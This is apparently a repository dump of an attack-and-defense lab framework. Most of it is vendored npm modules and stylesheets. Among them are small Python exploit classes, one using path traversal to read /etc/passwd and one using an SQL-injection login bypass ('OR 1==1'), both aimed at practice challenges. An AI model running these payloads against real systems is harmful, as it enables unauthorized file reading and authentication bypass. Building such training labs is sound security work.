-------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; } 21 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/has-cors/test.js: -------------------------------------------------------------------------------- 1 | var expect = require('chai').expect; 2 | 3 | describe('has-cors', function() { 4 | beforeEach(function() { 5 | // make sure result is not cached 6 | delete require.cache[require.resolve('./')]; 7 | }); 8 | 9 | it('should not have cors', function() { 10 | var hasCors = require('./'); 11 | 12 | expect(hasCors).to.be.false; 13 | }); 14 | 15 | it('should have cors', function() { 16 | global.XMLHttpRequest = function() { 17 | this.withCredentials = true; 18 | }; 19 | 20 | var hasCors = require('./'); 21 | 22 | expect(hasCors).to.be.true; 23 | }); 24 | }); 25 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_stacked.scss: -------------------------------------------------------------------------------- 1 | // Stacked Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-stack { 5 | position: relative; 6 | display: inline-block; 7 | width: 2em; 8 | height: 2em; 9 | line-height: 2em; 10 | vertical-align: middle; 11 | } 12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x { 13 | position: absolute; 14 | left: 0; 15 | width: 100%; 16 | text-align: center; 17 | } 18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; } 19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; } 20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; } 21 | -------------------------------------------------------------------------------- /Akeso/config.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | # Number of attack workers pulling from the RabbitMQ server 4 | NUM_ATTACK_WORKERS = 2 5 | 6 | # Path to the folder containing all of the services 7 | SERVICE_PATH = os.path.join(os.getcwd(), 'Services/') 8 | 9 | # Address of the RabbitMQ server 10 | RABBITMQ_SERVER = '172.17.0.2' 11 | 12 | 13 | def challenge_mapper(challenge): 14 | return { 15 | 'maze': ('maze', ['mazeAttack'], ['maze'], 31337), 16 | 'SQL': ('sqlisimple', ['SQLi'], ['SQLiSimple'], 80), 17 | 'shell': ('shell', ['shellAttack'], ['shell'], 4001), 18 | 'nginx': ('nginx', ['DirectoryTraversal'], ['ApacheDirectoryTraversal'], 80) 19 | }[challenge] 20 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/backo2/Readme.md: -------------------------------------------------------------------------------- 1 | # backo 2 | 3 | Simple exponential backoff because the others seem to have weird abstractions. 4 | 5 | ## Installation 6 | 7 | ``` 8 | $ npm install backo 9 | ``` 10 | 11 | ## Options 12 | 13 | - `min` initial timeout in milliseconds [100] 14 | - `max` max timeout [10000] 15 | - `jitter` [0] 16 | - `factor` [2] 17 | 18 | ## Example 19 | 20 | ```js 21 | var Backoff = require('backo'); 22 | var backoff = new Backoff({ min: 100, max: 20000 }); 23 | 24 | setTimeout(function(){ 25 | something.reconnect(); 26 | }, backoff.duration()); 27 | 28 | // later when something works 29 | backoff.reset() 30 | ``` 31 | 32 | # License 33 | 34 | MIT 35 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ipaddr.js/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ipaddr.js", 3 | "version": "1.1.1", 4 | "homepage": "https://github.com/whitequark/ipaddr.js", 5 | "authors": [ 6 | "whitequark " 7 | ], 8 | "description": "IP address manipulation library in JavaScript (CoffeeScript, actually)", 9 | "main": "lib/ipaddr.js", 10 | "moduleType": [ 11 | "globals", 12 | "node" 13 | ], 14 | "keywords": [ 15 | "javscript", 16 | "ip", 17 | "address", 18 | "ipv4", 19 | "ipv6" 20 | ], 21 | "license": "MIT", 22 | "ignore": [ 23 | "**/.*", 24 | "node_modules", 25 | "bower_components", 26 | "test", 27 | "tests" 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/depd/lib/compat/buffer-concat.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * depd 3 | * Copyright(c) 2014 Douglas Christopher Wilson 4 | * MIT Licensed 5 | */ 6 | 7 | 'use strict' 8 | 9 | /** 10 | * Module exports. 11 | */ 12 | 13 | module.exports = bufferConcat 14 | 15 | /** 16 | * Concatenate an array of Buffers. 17 | */ 18 | 19 | function bufferConcat(bufs) { 20 | var length = 0 21 | 22 | for (var i = 0, len = bufs.length; i < len; i++) { 23 | length += bufs[i].length 24 | } 25 | 26 | var buf = new Buffer(length) 27 | var pos = 0 28 | 29 | for (var i = 0, len = bufs.length; i < len; i++) { 30 | bufs[i].copy(buf, pos) 31 | pos += bufs[i].length 32 | } 33 | 34 | return buf 35 | } 36 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/lib/transports/index.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Module dependencies. 4 | */ 5 | 6 | var XHR = require('./polling-xhr'); 7 | var JSONP = require('./polling-jsonp'); 8 | 9 | /** 10 | * Export transports. 11 | */ 12 | 13 | module.exports = exports = { 14 | polling: polling, 15 | websocket: require('./websocket') 16 | }; 17 | 18 | /** 19 | * Export upgrades map. 20 | */ 21 | 22 | exports.polling.upgradesTo = ['websocket']; 23 | 24 | /** 25 | * Polling polymorphic constructor. 26 | * 27 | * @api private 28 | */ 29 | 30 | function polling (req) { 31 | if ('string' === typeof req._query.j) { 32 | return new JSONP(req); 33 | } else { 34 | return new XHR(req); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/ipaddr.js/Cakefile: -------------------------------------------------------------------------------- 1 | fs = require 'fs' 2 | CoffeeScript = require 'coffee-script' 3 | nodeunit = require 'nodeunit' 4 | UglifyJS = require 'uglify-js' 5 | 6 | task 'build', 'build the JavaScript files from CoffeeScript source', build = (cb) -> 7 | source = fs.readFileSync 'src/ipaddr.coffee' 8 | fs.writeFileSync 'lib/ipaddr.js', CoffeeScript.compile source.toString() 9 | 10 | invoke 'test' 11 | invoke 'compress' 12 | 13 | task 'test', 'run the bundled tests', (cb) -> 14 | nodeunit.reporters.default.run ['test'] 15 | 16 | task 'compress', 'uglify the resulting javascript', (cb) -> 17 | result = UglifyJS.minify('lib/ipaddr.js') 18 | fs.writeFileSync('ipaddr.min.js', result.code) 19 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io/node_modules/debug/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "visionmedia-debug", 3 | "main": "dist/debug.js", 4 | "homepage": "https://github.com/visionmedia/debug", 5 | "authors": [ 6 | "TJ Holowaychuk ", 7 | "Nathan Rajlich (http://n8.io)", 8 | "Andrew Rhyne " 9 | ], 10 | "description": "visionmedia-debug", 11 | "moduleType": [ 12 | "amd", 13 | "es6", 14 | "globals", 15 | "node" 16 | ], 17 | "keywords": [ 18 | "visionmedia", 19 | "debug" 20 | ], 21 | "license": "MIT", 22 | "ignore": [ 23 | "**/.*", 24 | "node_modules", 25 | "bower_components", 26 | "test", 27 | "tests" 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io/node_modules/debug/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "visionmedia-debug", 3 | "main": "dist/debug.js", 4 | "homepage": "https://github.com/visionmedia/debug", 5 | "authors": [ 6 | "TJ Holowaychuk ", 7 | "Nathan Rajlich (http://n8.io)", 8 | "Andrew Rhyne " 9 | ], 10 | "description": "visionmedia-debug", 11 | "moduleType": [ 12 | "amd", 13 | "es6", 14 | "globals", 15 | "node" 16 | ], 17 | "keywords": [ 18 | "visionmedia", 19 | "debug" 20 | ], 21 | "license": "MIT", 22 | "ignore": [ 23 | "**/.*", 24 | "node_modules", 25 | "bower_components", 26 | "test", 27 | "tests" 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/engine.io-client/node_modules/debug/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "visionmedia-debug", 3 | "main": "dist/debug.js", 4 | "homepage": "https://github.com/visionmedia/debug", 5 | "authors": [ 6 | "TJ Holowaychuk ", 7 | "Nathan Rajlich (http://n8.io)", 8 | "Andrew Rhyne " 9 | ], 10 | "description": "visionmedia-debug", 11 | "moduleType": [ 12 | "amd", 13 | "es6", 14 | "globals", 15 | "node" 16 | ], 17 | "keywords": [ 18 | "visionmedia", 19 | "debug" 20 | ], 21 | "license": "MIT", 22 | "ignore": [ 23 | "**/.*", 24 | "node_modules", 25 | "bower_components", 26 | "test", 27 | "tests" 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-adapter/node_modules/debug/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "visionmedia-debug", 3 | "main": "dist/debug.js", 4 | "homepage": "https://github.com/visionmedia/debug", 5 | "authors": [ 6 | "TJ Holowaychuk ", 7 | "Nathan Rajlich (http://n8.io)", 8 | "Andrew Rhyne " 9 | ], 10 | "description": "visionmedia-debug", 11 | "moduleType": [ 12 | "amd", 13 | "es6", 14 | "globals", 15 | "node" 16 | ], 17 | "keywords": [ 18 | "visionmedia", 19 | "debug" 20 | ], 21 | "license": "MIT", 22 | "ignore": [ 23 | "**/.*", 24 | "node_modules", 25 | "bower_components", 26 | "test", 27 | "tests" 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/socket.io-client/node_modules/debug/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "visionmedia-debug", 3 | "main": "dist/debug.js", 4 | "homepage": "https://github.com/visionmedia/debug", 5 | "authors": [ 6 | "TJ Holowaychuk ", 7 | "Nathan Rajlich (http://n8.io)", 8 | "Andrew Rhyne " 9 | ], 10 | "description": "visionmedia-debug", 11 | "moduleType": [ 12 | "amd", 13 | "es6", 14 | "globals", 15 | "node" 16 | ], 17 | "keywords": [ 18 | "visionmedia", 19 | "debug" 20 | ], 21 | "license": "MIT", 22 | "ignore": [ 23 | "**/.*", 24 | "node_modules", 25 | "bower_components", 26 | "test", 27 | "tests" 28 | ] 29 | } 30 | -------------------------------------------------------------------------------- /Akeso/Exploits/mazeAttack.py: -------------------------------------------------------------------------------- 1 | from ExploitFrame import ExploitFrame 2 | import urllib2 3 | 4 | class Exploit(ExploitFrame): 5 | def __init__(self, serviceInfo): 6 | self.name = 'maze' 7 | self.output = None 8 | ExploitFrame.__init__(self, serviceInfo) 9 | 10 | def exploit(self): 11 | url = "http://{}:31337/../../../../../etc/passwd".format(self.serviceInfo.serviceHost) 12 | try: 13 | self.output = urllib2.urlopen(url).read() 14 | except: # NOQA 15 | self.output = sys.exc_info()[0].reason 16 | 17 | def exploitSuccess(self): 18 | print "Exploit Output: {}".format(self.output) 19 | if self.output and self.output[0:4] == "root": 20 | return True 21 | return False 22 | -------------------------------------------------------------------------------- /examples/challenges/SQLi/index.html: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |

16 | Username:
17 |

18 | Password:
19 |
20 |

21 | 22 |
23 |
24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /examples/challenges/Maze/mazeAttack.py: -------------------------------------------------------------------------------- 1 | from ExploitFrame import ExploitFrame 2 | import urllib2 3 | 4 | class Exploit(ExploitFrame): 5 | def __init__(self, serviceInfo): 6 | self.name = 'maze' 7 | self.output = None 8 | ExploitFrame.__init__(self, serviceInfo) 9 | 10 | def exploit(self): 11 | url = "http://{}:31337/../../../../../etc/passwd".format(self.serviceInfo.serviceHost) 12 | try: 13 | self.output = urllib2.urlopen(url).read() 14 | except: # NOQA 15 | self.output = sys.exc_info()[0].reason 16 | 17 | def exploitSuccess(self): 18 | print "Exploit Output: {}".format(self.output) 19 | if self.output and self.output[0:4] == "root": 20 | return True 21 | return False 22 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em @fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .@{fa-css-prefix}-pull-left { float: left; } 11 | .@{fa-css-prefix}-pull-right { float: right; } 12 | 13 | .@{fa-css-prefix} { 14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .@{fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/bordered-pulled.less: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em @fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .@{fa-css-prefix}-pull-left { float: left; } 11 | .@{fa-css-prefix}-pull-right { float: right; } 12 | 13 | .@{fa-css-prefix} { 14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .@{fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/less/rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .@{fa-css-prefix}-rotate-90, 15 | :root .@{fa-css-prefix}-rotate-180, 16 | :root .@{fa-css-prefix}-rotate-270, 17 | :root .@{fa-css-prefix}-flip-horizontal, 18 | :root .@{fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em $fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .#{$fa-css-prefix}-pull-left { float: left; } 11 | .#{$fa-css-prefix}-pull-right { float: right; } 12 | 13 | .#{$fa-css-prefix} { 14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .#{$fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_bordered-pulled.scss: -------------------------------------------------------------------------------- 1 | // Bordered & Pulled 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-border { 5 | padding: .2em .25em .15em; 6 | border: solid .08em $fa-border-color; 7 | border-radius: .1em; 8 | } 9 | 10 | .#{$fa-css-prefix}-pull-left { float: left; } 11 | .#{$fa-css-prefix}-pull-right { float: right; } 12 | 13 | .#{$fa-css-prefix} { 14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; } 15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; } 16 | } 17 | 18 | /* Deprecated as of 4.4.0 */ 19 | .pull-right { float: right; } 20 | .pull-left { float: left; } 21 | 22 | .#{$fa-css-prefix} { 23 | &.pull-left { margin-right: .3em; } 24 | &.pull-right { margin-left: .3em; } 25 | } 26 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/vary/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.1.0 / 2015-09-29 2 | ================== 3 | 4 | * Only accept valid field names in the `field` argument 5 | - Ensures the resulting string is a valid HTTP header value 6 | 7 | 1.0.1 / 2015-07-08 8 | ================== 9 | 10 | * Fix setting empty header from empty `field` 11 | * perf: enable strict mode 12 | * perf: remove argument reassignments 13 | 14 | 1.0.0 / 2014-08-10 15 | ================== 16 | 17 | * Accept valid `Vary` header string as `field` 18 | * Add `vary.append` for low-level string manipulation 19 | * Move to `jshttp` orgainzation 20 | 21 | 0.1.0 / 2014-06-05 22 | ================== 23 | 24 | * Support array of fields to set 25 | 26 | 0.0.0 / 2014-06-04 27 | ================== 28 | 29 | * Initial release 30 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/less/rotated-flipped.less: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); } 5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); } 6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); } 7 | 8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); } 9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .@{fa-css-prefix}-rotate-90, 15 | :root .@{fa-css-prefix}-rotate-180, 16 | :root .@{fa-css-prefix}-rotate-270, 17 | :root .@{fa-css-prefix}-flip-horizontal, 18 | :root .@{fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/fresh/HISTORY.md: -------------------------------------------------------------------------------- 1 | 0.3.0 / 2015-05-12 2 | ================== 3 | 4 | * Add weak `ETag` matching support 5 | 6 | 0.2.4 / 2014-09-07 7 | ================== 8 | 9 | * Support Node.js 0.6 10 | 11 | 0.2.3 / 2014-09-07 12 | ================== 13 | 14 | * Move repository to jshttp 15 | 16 | 0.2.2 / 2014-02-19 17 | ================== 18 | 19 | * Revert "Fix for blank page on Safari reload" 20 | 21 | 0.2.1 / 2014-01-29 22 | ================== 23 | 24 | * Fix for blank page on Safari reload 25 | 26 | 0.2.0 / 2013-08-11 27 | ================== 28 | 29 | * Return stale for `Cache-Control: no-cache` 30 | 31 | 0.1.0 / 2012-06-15 32 | ================== 33 | * Add `If-None-Match: *` support 34 | 35 | 0.0.1 / 2012-06-10 36 | ================== 37 | 38 | * Initial release 39 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/setprototypeof/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Wes Todd 2 | 3 | Permission to use, copy, modify, and/or distribute this software for any 4 | purpose with or without fee is hereby granted, provided that the above 5 | copyright notice and this permission notice appear in all copies. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 8 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 9 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 10 | SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 11 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION 12 | OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN 13 | CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 14 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/inherits/inherits_browser.js: -------------------------------------------------------------------------------- 1 | if (typeof Object.create === 'function') { 2 | // implementation from standard node.js 'util' module 3 | module.exports = function inherits(ctor, superCtor) { 4 | ctor.super_ = superCtor 5 | ctor.prototype = Object.create(superCtor.prototype, { 6 | constructor: { 7 | value: ctor, 8 | enumerable: false, 9 | writable: true, 10 | configurable: true 11 | } 12 | }); 13 | }; 14 | } else { 15 | // old school shim for old browsers 16 | module.exports = function inherits(ctor, superCtor) { 17 | ctor.super_ = superCtor 18 | var TempCtor = function () {} 19 | TempCtor.prototype = superCtor.prototype 20 | ctor.prototype = new TempCtor() 21 | ctor.prototype.constructor = ctor 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/utils-merge/README.md: -------------------------------------------------------------------------------- 1 | # utils-merge 2 | 3 | Merges the properties from a source object into a destination object. 4 | 5 | ## Install 6 | 7 | $ npm install utils-merge 8 | 9 | ## Usage 10 | 11 | ```javascript 12 | var a = { foo: 'bar' } 13 | , b = { bar: 'baz' }; 14 | 15 | merge(a, b); 16 | // => { foo: 'bar', bar: 'baz' } 17 | ``` 18 | 19 | ## Tests 20 | 21 | $ npm install 22 | $ npm test 23 | 24 | [![Build Status](https://secure.travis-ci.org/jaredhanson/utils-merge.png)](http://travis-ci.org/jaredhanson/utils-merge) 25 | 26 | ## Credits 27 | 28 | - [Jared Hanson](http://github.com/jaredhanson) 29 | 30 | ## License 31 | 32 | [The MIT License](http://opensource.org/licenses/MIT) 33 | 34 | Copyright (c) 2013 Jared Hanson <[http://jaredhanson.net/](http://jaredhanson.net/)> 35 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/forwarded/index.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * forwarded 3 | * Copyright(c) 2014 Douglas Christopher Wilson 4 | * MIT Licensed 5 | */ 6 | 7 | /** 8 | * Module exports. 9 | */ 10 | 11 | module.exports = forwarded 12 | 13 | /** 14 | * Get all addresses in the request, using the `X-Forwarded-For` header. 15 | * 16 | * @param {Object} req 17 | * @api public 18 | */ 19 | 20 | function forwarded(req) { 21 | if (!req) { 22 | throw new TypeError('argument req is required') 23 | } 24 | 25 | // simple header parsing 26 | var proxyAddrs = (req.headers['x-forwarded-for'] || '') 27 | .split(/ *, */) 28 | .filter(Boolean) 29 | .reverse() 30 | var socketAddr = req.connection.remoteAddress 31 | var addrs = [socketAddr].concat(proxyAddrs) 32 | 33 | // return all addresses 34 | return addrs 35 | } 36 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/js/templates/challenges/standard/standard-challenge-create.js: -------------------------------------------------------------------------------- 1 | // Markdown Preview 2 | $('#desc-edit').on('shown.bs.tab', function (event) { 3 | if (event.target.hash == '#desc-preview'){ 4 | $(event.target.hash).html(marked($('#desc-editor').val(), {'gfm':true, 'breaks':true})); 5 | } 6 | }); 7 | $('#new-desc-edit').on('shown.bs.tab', function (event) { 8 | if (event.target.hash == '#new-desc-preview'){ 9 | $(event.target.hash).html(marked($('#new-desc-editor').val(), {'gfm':true, 'breaks':true})); 10 | } 11 | }); 12 | $("#solve-attempts-checkbox").change(function() { 13 | if(this.checked) { 14 | $('#solve-attempts-input').show(); 15 | } else { 16 | $('#solve-attempts-input').hide(); 17 | $('#max_attempts').val(''); 18 | } 19 | }); -------------------------------------------------------------------------------- /Akeso/Exploits/SQLi.py: -------------------------------------------------------------------------------- 1 | from ExploitFrame import ExploitFrame 2 | import requests 3 | 4 | 5 | class Exploit(ExploitFrame): 6 | def __init__(self, serviceInfo): 7 | self.name = 'SQLi' 8 | self.output = None 9 | ExploitFrame.__init__(self, serviceInfo) 10 | 11 | def exploit(self): 12 | url = "http://{}/login.php".format(self.serviceInfo.serviceHost) 13 | try: 14 | r = requests.post(url, data={'username': 'admin', 'password': """asdf' OR '1==1'; -- """}) 15 | self.output = r.text 16 | except: # NOQA 17 | self.output = None 18 | 19 | def exploitSuccess(self): 20 | print "Exploit Output: {}".format(self.output) 21 | if self.output and self.output == "You logged in as admin\n": 22 | return True 23 | return False 24 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/after/index.js: -------------------------------------------------------------------------------- 1 | module.exports = after 2 | 3 | function after(count, callback, err_cb) { 4 | var bail = false 5 | err_cb = err_cb || noop 6 | proxy.count = count 7 | 8 | return (count === 0) ? callback() : proxy 9 | 10 | function proxy(err, result) { 11 | if (proxy.count <= 0) { 12 | throw new Error('after called too many times') 13 | } 14 | --proxy.count 15 | 16 | // after first error, rest are passed to err_cb 17 | if (err) { 18 | bail = true 19 | callback(err) 20 | // future error callbacks will go to error handler 21 | callback = err_cb 22 | } else if (proxy.count === 0 && !bail) { 23 | callback(null, result) 24 | } 25 | } 26 | } 27 | 28 | function noop() {} 29 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/parsejson/test.js: -------------------------------------------------------------------------------- 1 | var assert = require('better-assert'); 2 | var expect = require('expect.js'); 3 | var parsejson = require('./index.js'); 4 | 5 | describe('my suite', function(){ 6 | it('should parse a JSON string', function () { 7 | 8 | var jsonString = '{"users" :[{"first_name":"foo", "last_name":"bar"}],' + 9 | '"id" :40,' + 10 | '"cities":["los angeles", "new york", "boston"]}'; 11 | 12 | var jsonObj = parsejson(jsonString); 13 | expect(jsonObj.users[0].first_name).to.be("foo"); 14 | expect(jsonObj.users[0].last_name).to.be("bar"); 15 | expect(jsonObj.id).to.be(40); 16 | expect(jsonObj.cities[0]).to.be('los angeles'); 17 | expect(jsonObj.cities[1]).to.be('new york'); 18 | expect(jsonObj.cities[2]).to.be('boston'); 19 | 20 | }); 21 | }); 22 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/admin/css/vendor/font-awesome/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .#{$fa-css-prefix}-rotate-90, 15 | :root .#{$fa-css-prefix}-rotate-180, 16 | :root .#{$fa-css-prefix}-rotate-270, 17 | :root .#{$fa-css-prefix}-flip-horizontal, 18 | :root .#{$fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /examples/challenges/shell-plugin/ctfd/CTFd/static/original/css/vendor/font-awesome/scss/_rotated-flipped.scss: -------------------------------------------------------------------------------- 1 | // Rotated & Flipped Icons 2 | // ------------------------- 3 | 4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); } 5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); } 6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); } 7 | 8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); } 9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); } 10 | 11 | // Hook for IE8-9 12 | // ------------------------- 13 | 14 | :root .#{$fa-css-prefix}-rotate-90, 15 | :root .#{$fa-css-prefix}-rotate-180, 16 | :root .#{$fa-css-prefix}-rotate-270, 17 | :root .#{$fa-css-prefix}-flip-horizontal, 18 | :root .#{$fa-css-prefix}-flip-vertical { 19 | filter: none; 20 | } 21 | -------------------------------------------------------------------------------- /examples/challenges/Maze/node_modules/inherits/LICENSE: -------------------------------------------------------------------------------- 1 | The ISC License 2 | 3 | Copyright (c) Isaac Z. Schlueter 4 | 5 | Permission to use, copy, modify, and/or distribute this software for any 6 | purpose with or without fee is hereby granted, provided that the above 7 | copyright notice and this permission notice appear in all copies. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH 10 | REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND 11 | FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, 12 | INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM 13 | LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR 14 | OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR 15 | PERFORMANCE OF 